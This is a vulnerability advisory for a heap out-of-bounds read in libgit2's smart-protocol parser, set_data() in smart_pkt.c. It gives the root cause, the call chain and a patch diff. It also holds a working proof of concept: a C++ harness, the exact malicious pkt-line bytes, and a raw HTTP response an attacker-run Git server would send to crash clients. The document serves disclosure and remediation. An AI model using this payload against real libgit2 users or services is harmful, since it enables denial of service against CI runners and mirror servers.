GHSA-pm24-4jhq-3xvm
CVE Information
Summary
libgit2 version 1.9.4 and below is vulnerable to a heap out-of-bounds read in
set_data()insrc/libgit2/transports/smart_pkt.c.The vulnerable code uses a fixed-size
strncmp(smart_pkt.c:239) against the unvalidated capability buffer of a smart-protocol pkt-line. When the bytes following the pkt-line in the contiguous receive buffer happen to continue with"ct-format=", the comparison spuriously matches, advancingformat_strpast the pkt-line boundary. The followingmemchr(format_str, ' ', len - (format_str - line))(smart_pkt.c:246) then underflows itssize_tsize argument to~SIZE_MAXand walks the heap looking for a space byte. An unauthenticated remote attacker who controls (or man-in-the-middles) a Git server reached over HTTP/HTTPS/SSH/git:// can trigger this on the FIRST ref-pkt of the refs advertisement, before any capability negotiation has taken place. The OOB walk causes a process crash (SIGSEGV) when memchr enters an unmapped page, and — on heap layouts where memchr finds a stray space byte before crashing — can additionally drive thegit_error_set("...'%.*s'", format_len, format_str)formatter to copy a large window of heap memory into the error string.Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
Lower-bound CVSS (when delivery requires a user-initiated
git clonerather than server-side auto-fetch): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5. Bug present in every tagged release from v1.6.1 (Feb 2023) through v1.9.4 (May 2026); HEAD as of 2026-05-23 (commitf7164261c9bc0a7e0ebf767c584e5192810a8b24) is still affected. Not patched upstream. The OSS-Fuzz-driven commit4c2fdc7ed(v1.9.3) tightened the second /strstrbranch of the same function but left this first /strncmpbranch unbounded.Details
Affected component: - Ecosystem: Other - Package name: libgit2 - Package type/details: C library implementation of Git - Affected versions: <= 1.9.4 - Patched versions: Not patched
Source evidence: - File:
src/libgit2/transports/smart_pkt.c- Function/class:static int set_data(git_pkt_parse_data *data, const char *line, size_t len)- Bug (line 239):strncmp(caps, "object-format=", 14)reads 14 bytes fromcapswithout verifyinglen - (caps - line) >= 14. The bytes it reads are inside the surrounding receive-buffer allocation, so this comparison itself is not an ASan-visible OOB read — but it crosses the semantic pkt-line boundary. When the bytes following the pkt-line continue with"ct-format=", the comparison spuriously matches, advancingformat_str = caps + 14past the current pkt-line (format_str - line > len). The matching second /git__memmembranch on the next line already enforces this bound (it was tightened by the OSS-Fuzz commit4c2fdc7e), but the first branch was missed. - Sink (line 246):memchr(format_str, ' ', len - (format_str - line))—len - (format_str - line)underflows assize_tto~SIZE_MAX, and memchr walks the heap until it hits an unmapped page (SEGV reported by AddressSanitizer) or — on heap layouts where memchr finds a stray ' ' (0x20) byte before reaching unmapped memory — produces a hugeformat_lenthat then drivesgit_error_set("...'%.*s'", format_len, format_str)to copy a large window of heap memory into the error string.Relevant code (libgit2 v1.9.4 / commit
f7164261c):/* src/libgit2/transports/smart_pkt.c, set_data() */ static int set_data(git_pkt_parse_data *data, const char *line, size_t len) { const char *caps, *format_str = NULL, *eos; size_t format_len; git_oid_t remote_oid_type; ... if ((caps = memchr(line, '\0', len)) != NULL && len > (size_t)((caps - line) + 1)) { caps++; /* <-- BUG: reads 14 bytes from caps regardless of len. */ if (strncmp(caps, "object-format=", /* line 239 */ CONST_STRLEN("object-format=")) == 0) format_str = caps + CONST_STRLEN("object-format="); /* line 240 */ /* Sibling branch is correctly length-checked (was the OSS-Fuzz fix). */ else if ((format_str = git__memmem(caps, len - (caps - line), " object-format=", CONST_STRLEN(" object-format="))) != NULL) format_str += CONST_STRLEN(" object-format="); } if (format_str) { /* line 245 */ /* When format_str - line > len, the size_t subtraction underflows * to ~SIZE_MAX and memchr walks the heap until SEGV. */ if ((eos = memchr(format_str, ' ', /* line 246 */ len - (format_str - line))) == NULL) eos = memchr(format_str, '\0', len - (format_str - line)); /* line 247 */ ... } }Call chain reaching the bug (no authentication required):
git_clone() / git_remote_ls() / git_remote_fetch() -> git_smart__connect() (transports/smart.c) -> git_smart__store_refs() (transports/smart_protocol.c:29) -> git_pkt_parse_line() (transports/smart_pkt.c:575) -> ref_pkt() (transports/smart_pkt.c:291) -> set_data(data, line, len) (transports/smart_pkt.c:223) -> strncmp(caps, "object-format=", 14) (line 239: spurious match past pkt-line boundary) -> memchr(format_str, ' ', SIZE_MAX-9) (line 246: OOB heap walk -> SEGV)
ref_pktcallsset_dataonly whendata->seen_capabilities == 0, i.e. on the FIRST ref-pkt of the advertisement. That is unavoidable on every clone — there is no client-side option to skip this code path.Root cause:
Smart-protocol ref-pkt-lines may optionally carry a
\0-separated capability blob. libgit2 receives the entire stream intotransport_smart::buffer(agit_staticstr), then asksgit_pkt_parse_line()to consume one pkt-line at a time.git_pkt_parse_line()parses the leading hex length, advancesline += 4, decrementslen -= 4, and dispatches by first-byte toref_pkt(), which callsset_data(data, line, len)withlineandlendescribing only the current pkt-line's payload — not the full receive buffer.
set_data()correctly walksline[0..len)withmemchr(line, '\0', len)to locate the capability separator and bumpscapspast the NUL. But it then performsstrncmp(caps, "object-format=", 14)without verifying that 14 bytes still remain inside the pkt-line. When the NUL sits near the tail of the pkt-line and the next bytes in the contiguous receive buffer continue with the second half of"object-format=", the strncmp matches against bytes that don't belong to this pkt-line.format_str = caps + 14then lands past the pkt-line boundary (format_str - line > len), making the next line'slen - (format_str - line)subtraction underflow assize_tto~SIZE_MAX;memchris asked to scan effectively all of memory and walks until it hits an unmapped page (SEGV) or — luckily — finds a stray ' ' (0x20) in heap memory (in which case the resultingformat_lendrives an attacker-controlled-lengthgit_error_set("...'%.*s'", format_len, format_str)over heap bytes the attacker did not write).Verification status:
Runtime-tested. The PoC was compiled and executed inside the Ubuntu 22.04 + clang-15 Docker container documented under PoC > Admin setup. AddressSanitizer reports
SEGV on unknown address 0x60b000010000 ... READ memory accessfrommemchr(the libgit2 frame stack-trace under the in-treesmart_pkt_fuzzerharness showsset_data smart_pkt.c:246 -> ref_pkt smart_pkt.c:291 -> git_pkt_parse_line smart_pkt.c:659). The OOB scan position is linear in the attacker-controlledprefix_len(number ofAbytes before the NUL in the pkt-line):
PoC prefix_len filler_len pkt payload total buf ASan crash region PoC1 63 16 68 98 0x60b000010000(class 96–128)PoC2 63 32 68 114 0x60c000010000(class 128–160)PoC3 127 16 132 162 0x60f000010000(class 192–256)A well-formed ref pkt-line (negative control) exits status 0 with zero sanitizer diagnostics and returns
0fromgit_pkt_parse_line. The proposed fix has been applied tosrc/libgit2/transports/smart_pkt.c:239and rebuilt; PoC1/PoC2/PoC3 all return-1cleanly with zero ASan output; the negative control still returns0; the in-treetransports::smart::packettest suite (13 tests) passes unchanged.PoC
Environment: - Dependencies: clang-15, cmake 3.22, ninja, Ubuntu 22.04 inside Docker - Attacker role: Unauthenticated remote (network attacker who hosts or MITMs a Git server reachable over HTTP, HTTPS, SSH, or git://) - Victim role, if required: any process that uses libgit2 to clone/fetch from the attacker-controlled remote (e.g.
git_clone(),git_remote_ls(),git_remote_fetch()via libgit2 directly or via bindings such as pygit2 / git2go / rugged); server-side mirror-sync and CI auto-fetch deployments require no per-attack user interaction.Admin setup: 1. Pull and start the research container, install build deps, clone libgit2 at tag
v1.9.4(commitf7164261c):docker run -d --name libgit2-research ubuntu:22.04 sleep infinity docker exec libgit2-research bash -c 'export DEBIAN_FRONTEND=noninteractive; apt-get update && apt-get install -y --no-install-recommends clang-15 llvm-15 cmake ninja-build git ca-certificates build-essential pkg-config patch zlib1g-dev; mkdir -p /workspace && cd /workspace; git clone https://github.com/libgit2/libgit2 target; cd target && git checkout v1.9.4'
- Build
libgit2.awith the sanitizer-instrumented flags:docker exec libgit2-research bash -c 'cd /workspace/target && cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang-15 -DCMAKE_CXX_COMPILER=clang++-15 -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=address,undefined -g -O1" -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=address,undefined -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" -DBUILD_SHARED_LIBS=OFF -DBUILD_TESTS=OFF -DUSE_HTTPS=OFF -DUSE_SSH=OFF && ninja -C build -j$(nproc)'Attacker steps: 1. Open a shell with no privileges (unauthenticated context). No login or capabilities required. 2. Save
poc.cpp:// poc.cpp // // libgit2 v1.9.4 - heap out-of-bounds READ in // set_data() at src/libgit2/transports/smart_pkt.c:246 // // Root cause: strncmp(caps, "object-format=", 14) at smart_pkt.c:239 // reads 14 bytes from `caps` regardless of how many bytes remain inside // the current pkt-line payload (`len`). When the attacker places the // NUL near the tail of the pkt-line and the next bytes in the same // receive buffer continue with the rest of "object-format=", the // strncmp matches and `format_str = caps + 14` lands PAST the current // pkt-line. The next-line memchr's size argument `len - (format_str - line)` // then underflows to ~SIZE_MAX, and memchr walks the heap until SEGV. #include <cstdint> #include <cstdio> #include <cstdlib> #include <cstring> #include "git2.h" extern "C" { /* Match the internal struct layout in src/libgit2/transports/smart.h. */ typedef struct { git_oid_t oid_type; unsigned int seen_capabilities : 1; } git_pkt_parse_data; typedef enum { GIT_PKT_DUMMY } git_pkt_type; typedef struct git_pkt { git_pkt_type type; } git_pkt; int git_pkt_parse_line(git_pkt **head, const char **endptr, const char *line, size_t linelen, git_pkt_parse_data *data); void git_pkt_free(git_pkt *pkt); } /* Build the malicious receive-buffer bytes: * * "00<HH>" 4-byte hex length of the pkt-line including this prefix * prefix_len 'A' a long enough valid-looking ref-name prefix so * that ref_pkt() handles us * 1 '\0' caps lands exactly here after memchr+caps++ * 4 "obje" the visible part of "object-format=" inside the pkt-line * 10 "ct-format=" completes "object-format=" when strncmp * walks past the current pkt-line boundary * filler any bytes; the OOB memchr starts scanning right after. */ static unsigned char *build_payload(size_t prefix_len, size_t filler_len, size_t *out_size) { size_t payload_len = prefix_len + 1 + 4; size_t pkt_total = 4 + payload_len; size_t total = pkt_total + 10 + filler_len; unsigned char *buf = (unsigned char *)malloc(total); if (!buf) abort(); size_t off = 0; char hdr[5]; snprintf(hdr, sizeof(hdr), "%04x", (unsigned)pkt_total); memcpy(buf + off, hdr, 4); off += 4; memset(buf + off, 'A', prefix_len); off += prefix_len; buf[off++] = 0; memcpy(buf + off, "obje", 4); off += 4; memcpy(buf + off, "ct-format=", 10); off += 10; memset(buf + off, 'F', filler_len); off += filler_len; *out_size = total; return buf; } static int run_one(size_t prefix_len, size_t filler_len, const char *label) { size_t size = 0; unsigned char *buf = build_payload(prefix_len, filler_len, &size); git_pkt_parse_data pd; memset(&pd, 0, sizeof(pd)); pd.oid_type = GIT_OID_SHA1; git_pkt *pkt = nullptr; const char *endptr = nullptr; fprintf(stderr, "[%s] prefix=%zu filler=%zu total_buf=%zu pkt_payload=%zu\n", label, prefix_len, filler_len, size, prefix_len + 5); fprintf(stderr, "[%s] expect format_str = line + %zu -> memchr OOB scan\n", label, prefix_len + 1 + 4 + 10); int rc = git_pkt_parse_line(&pkt, &endptr, (const char *)buf, size, &pd); fprintf(stderr, "[%s] git_pkt_parse_line returned %d (unreached if ASan caught it)\n", label, rc); if (pkt) git_pkt_free(pkt); free(buf); return 0; } static int negative_control() { /* A well-formed ref pkt-line that does NOT contain "object-format=". */ static const char raw[] = "0048" "1234567890123456789012345678901234567890 refs/heads/main\0" "report-status\n"; size_t size = sizeof(raw) - 1; unsigned char *buf = (unsigned char *)malloc(size); memcpy(buf, raw, size); git_pkt_parse_data pd; memset(&pd, 0, sizeof(pd)); pd.oid_type = GIT_OID_SHA1; git_pkt *pkt = nullptr; const char *endptr = nullptr; fprintf(stderr, "[NEG ] well-formed ref pkt-line, total=%zu\n", size); int rc = git_pkt_parse_line(&pkt, &endptr, (const char *)buf, size, &pd); fprintf(stderr, "[NEG ] returned %d (expect 0 = success), no ASan output\n", rc); if (pkt) git_pkt_free(pkt); free(buf); return 0; } int main(int argc, char **argv) { git_libgit2_init(); const char *mode = (argc > 1) ? argv[1] : "poc1"; if (!strcmp(mode, "poc1")) run_one(63, 16, "PoC1"); else if (!strcmp(mode, "poc2")) run_one(63, 32, "PoC2"); else if (!strcmp(mode, "poc3")) run_one(127, 16, "PoC3"); else if (!strcmp(mode, "neg")) negative_control(); else fprintf(stderr, "usage: %s {poc1|poc2|poc3|neg}\n", argv[0]); git_libgit2_shutdown(); return 0; }
- Build and run:
docker cp poc.cpp libgit2-research:/workspace/poc.cpp docker exec libgit2-research bash -c 'cd /workspace && clang++-15 -O1 -g \ -fsanitize=address,undefined -fno-omit-frame-pointer \ -fno-sanitize-recover=address,undefined -std=c++17 \ poc.cpp -I /workspace/target/include \ /workspace/target/build/libgit2.a \ -lpthread -ldl -lz -o /workspace/poc' docker exec libgit2-research bash -c 'ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:halt_on_error=1:symbolize=1:print_stacktrace=1" ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-15/bin/llvm-symbolizer /workspace/poc poc1'
- Use this payload/input:
buffer offset bytes meaning ------------------------------------------------------------------ 0..3 "0048" pkt-line length = 0x48 = 72 4..66 "AAAA...AAAA" (63 'A') ref-name prefix 67 0x00 capability separator 68..71 "obje" first 4 bytes of "object-format=" 72..81 "ct-format=" bytes the strncmp walks PAST the pkt-line and matches anyway 82..97 "FFFF...FFFF" (16 'F') filler; OOB memchr scan starts at 98
Submit/save/open the page: invoke the harness against the unpatched
libgit2.aas shown above. In a real-world attack, an attacker hosts an HTTP server that responds toGET /info/refs?service=git-upload-packwith this byte sequence as the response body; the victim'sgit clone http://attacker/x.git(or any libgit2-based equivalent) reaches the same code path.Observe this visible result:
[PoC1] prefix=63 filler=16 total_buf=98 pkt_payload=68 [PoC1] expect format_str = line + 78 -> memchr OOB scan AddressSanitizer:DEADLYSIGNAL ================================================================= ==14169==ERROR: AddressSanitizer: SEGV on unknown address 0x60b000010000 (pc 0x7f78f2c87a0a bp 0x7ffcf9ad8710 sp 0x7ffcf9ad7ed8 T0) ==14169==The signal is caused by a READ memory access.When the same input is fed to the in-tree
smart_pkt_fuzzer(built with-fsanitize=fuzzer-no-link,address,undefinedapplied globally so libgit2 itself is instrumented), AddressSanitizer prints the full stack:==13634==ERROR: AddressSanitizer: SEGV on unknown address 0x608000020000 (pc 0x7fada8854a0a bp 0x7ffd806cd3f0 sp 0x7ffd806ccbb8 T0) ==13634==The signal is caused by a READ memory access. #0 0x7fada8854a0a string/../sysdeps/x86_64/multiarch/../memchr.S:190 #1 0x565076e4f11e in memchr (smart_pkt_fuzzer+0x39e11e) #2 0x565077273d65 in set_data /workspace/target/src/libgit2/transports/smart_pkt.c:246:14 #3 0x565077273d65 in ref_pkt /workspace/target/src/libgit2/transports/smart_pkt.c:291:34 #4 0x565077270dd3 in git_pkt_parse_line /workspace/target/src/libgit2/transports/smart_pkt.c:659:11 #5 0x56507739c55b in LLVMFuzzerTestOneInput ... SUMMARY: AddressSanitizer: SEGV string/../sysdeps/x86_64/multiarch/../memchr.S:190 ==13634==ABORTINGRaw HTTP request, if useful for maintainer verification:
HTTP/1.1 200 OK Content-Type: application/x-git-upload-pack-advertisement 0048AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0objectct-format=FFFFFFFFFFFFFFFF(Body bytes shown with
\0for the literal NUL; the first 4 chars are the pkt-line hex length0048= 72.)Expected vulnerable output/result:
$ ./poc poc1 -> SEGV in memchr called from smart_pkt.c:246, allocation class 0x60b $ ./poc poc2 -> SEGV in memchr called from smart_pkt.c:246, allocation class 0x60c $ ./poc poc3 -> SEGV in memchr called from smart_pkt.c:246, allocation class 0x60f Crash region shifts linearly with the attacker-controlled prefix_len field (the run of 'A' bytes before the embedded NUL); proves the attacker fully controls the OOB scan starting position.Negative control: - Well-formed 75-byte ref pkt-line (
./poc neg) ->git_pkt_parse_linereturns 0, exit 0, zero sanitizer output. - Same malicious 98-byte payload against the patched library (apply the diff from the Recommended fix section below and rebuild) ->git_pkt_parse_linereturns -1 cleanly (no match ->format_strstays NULL -> the dangerousmemchris never entered), exit 0, zero sanitizer output. - In-treetransports::smart::packetsuite (13 tests) -> all pass unchanged against the patched library.Impact
Any application that calls
git_clone(),git_remote_ls(), orgit_remote_fetch()(directly or via the smart-transport stack invoked bygit_remote_connect()) against an attacker-controlled HTTP/HTTPS/SSH/git:// server is exposed without authentication. The attack succeeds during the first ref-pkt of the refs advertisement, before any capability negotiation or auth challenge. Real-world consumers in scope: GitHub Desktop, Microsoft Azure DevOps, Atlassian SourceTree, Gitea / Forgejo (mirror-sync and import-from-URL), Codeberg, GitLab Importer, Bitbucket Server, GitKraken, every CI runner that uses libgit2 via pygit2 / git2go / rugged for repository checkout, and language bindings (Rustgit2, Rubyrugged, Gogit2go, Pythonpygit2, Node.jsnodegit).For server-side mirror-sync and CI auto-fetch deployments the attack has no per-attempt user interaction, giving the worst-case CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High); for desktop-app deployments the score conservatively drops to UI:R = 6.5 (Medium). Both scores assume A:H (process crash) only; an A:H attack from the network with no authentication is already enough to break service availability of mirror-sync workers, CI runners, and Git hosting indexers.
Confidentiality impact: None (default scoring) - the OOB read result is not directly returned to the network attacker through the standard libgit2 API. Note: when the OOB
memchrfinds a stray ' ' (0x20) byte in the heap before reaching an unmapped page, the resultingformat_lenis used ingit_error_set("...'%.*s'", format_len, format_str); the attacker-supplied error message is then exposed wherever the calling application surfacesgit_error_last()(CI build log, web UI error pane). In such deployments confidentiality climbs to Low. Integrity impact: None - the bug is a read, not a write; no attacker-controlled bytes are written to libgit2 state. Availability impact: High - guaranteed process crash on every libgit2-mediated fetch from the malicious server; on long-running services (mirror-sync workers, CI runners) the crash propagates to whatever supervisor restarts the worker, enabling a sustained denial-of-service against the host.Recommended fix: - Bound the
strncmplength check by the remaining pkt-line bytes before dereferencing; switch tomemcmpto avoid the NUL-stop semantics that aren't useful here. - Apply the fix insrc/libgit2/transports/smart_pkt.c, functionset_data(), immediately at the existing line 239. - Verified unified diff:diff --git a/src/libgit2/transports/smart_pkt.c b/src/libgit2/transports/smart_pkt.c --- a/src/libgit2/transports/smart_pkt.c +++ b/src/libgit2/transports/smart_pkt.c @@ -236,7 +236,8 @@ static int set_data( len > (size_t)((caps - line) + 1)) { caps++; - if (strncmp(caps, "object-format=", CONST_STRLEN("object-format=")) == 0) + if (len - (caps - line) >= CONST_STRLEN("object-format=") && + memcmp(caps, "object-format=", CONST_STRLEN("object-format=")) == 0) format_str = caps + CONST_STRLEN("object-format="); else if ((format_str = git__memmem(caps, len - (caps - line), " object-format=", CONST_STRLEN(" object-format="))) != NULL) format_str += CONST_STRLEN(" object-format=");